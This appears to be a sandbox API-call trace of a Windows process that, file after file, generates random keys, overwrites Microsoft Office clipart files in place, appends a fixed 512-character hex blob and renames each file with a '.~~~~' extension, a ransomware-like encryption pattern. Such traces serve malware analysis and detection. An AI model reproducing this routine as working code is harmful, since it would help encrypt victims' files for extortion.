	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a38 | out: hHeap=0x300000) returned 1
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ce70
	[0089.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.385] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.385] GetLastError () returned 0x0
	[0089.385] GetLastError () returned 0x0
	[0089.386] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.386] GetLastError () returned 0x0
	[0089.386] GetLastError () returned 0x0
	[0089.388] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc0cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.388] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3f34, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x3f34, lpOverlapped=0x0) returned 1
	[0089.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.388] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.388] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.389] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.389] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.389] CloseHandle (hObject=0x11c) returned 1
	[0089.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.~~~~")) returned 1
	[0089.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.391] GetLastError () returned 0x0
	[0089.391] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.392] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.392] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.392] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20938228095) returned 1
	[0089.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f0e98b0, dwHighDateTime=0x1d60e1e)) 
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a70
	[0089.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a70 | out: hHeap=0x300000) returned 1
	[0089.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cf08
	[0089.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.393] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.393] GetLastError () returned 0x0
	[0089.393] GetLastError () returned 0x0
	[0089.393] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.393] GetLastError () returned 0x0
	[0089.393] GetLastError () returned 0x0
	[0089.395] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbcac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.395] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4354, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x4354, lpOverlapped=0x0) returned 1
	[0089.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.396] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.396] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.396] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.396] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.396] CloseHandle (hObject=0x11c) returned 1
	[0089.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac320
	[0089.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.~~~~")) returned 1
	[0089.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac320 | out: hHeap=0x300000) returned 1
	[0089.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.397] GetLastError () returned 0x0
	[0089.398] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.399] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.399] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.399] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20938902552) returned 1
	[0089.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f10fa10, dwHighDateTime=0x1d60e1e)) 
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3aa8
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3aa8 | out: hHeap=0x300000) returned 1
	[0089.399] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac320
	[0089.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cfa0
	[0089.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac320 | out: hHeap=0x300000) returned 1
	[0089.400] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.400] GetLastError () returned 0x0
	[0089.400] GetLastError () returned 0x0
	[0089.400] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.400] GetLastError () returned 0x0
	[0089.400] GetLastError () returned 0x0
	[0089.402] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc110, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.402] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x3ef0, lpOverlapped=0x0) returned 1
	[0089.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.403] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.403] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.403] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.403] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.403] CloseHandle (hObject=0x11c) returned 1
	[0089.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ac320
	[0089.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.~~~~")) returned 1
	[0089.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac320 | out: hHeap=0x300000) returned 1
	[0089.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.404] GetLastError () returned 0x0
	[0089.405] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.407] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.407] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.407] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20939690046) returned 1
	[0089.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f10fa10, dwHighDateTime=0x1d60e1e)) 
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3990
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac320
	[0089.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d038
	[0089.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac320 | out: hHeap=0x300000) returned 1
	[0089.407] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.408] GetLastError () returned 0x0
	[0089.408] GetLastError () returned 0x0
	[0089.408] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.408] GetLastError () returned 0x0
	[0089.408] GetLastError () returned 0x0
	[0089.649] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.665] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x4124, lpOverlapped=0x0) returned 1
	[0089.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.677] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.677] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.677] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.677] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.678] CloseHandle (hObject=0x11c) returned 1
	[0089.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.~~~~")) returned 1
	[0089.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.678] GetLastError () returned 0x0
	[0089.679] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.680] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.680] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20966979236) returned 1
	[0089.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f3bd2d0, dwHighDateTime=0x1d60e1e)) 
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f780
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f780 | out: hHeap=0x300000) returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d878
	[0089.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.680] GetLastError () returned 0x0
	[0089.680] GetLastError () returned 0x0
	[0089.681] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.681] GetLastError () returned 0x0
	[0089.681] GetLastError () returned 0x0
	[0089.683] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc28b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.683] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3d75, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x3d75, lpOverlapped=0x0) returned 1
	[0089.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.683] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.683] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.683] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.683] CloseHandle (hObject=0x11c) returned 1
	[0089.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.~~~~")) returned 1
	[0089.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.684] GetLastError () returned 0x0
	[0089.685] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.687] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.687] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.687] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20967730109) returned 1
	[0089.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f3bd2d0, dwHighDateTime=0x1d60e1e)) 
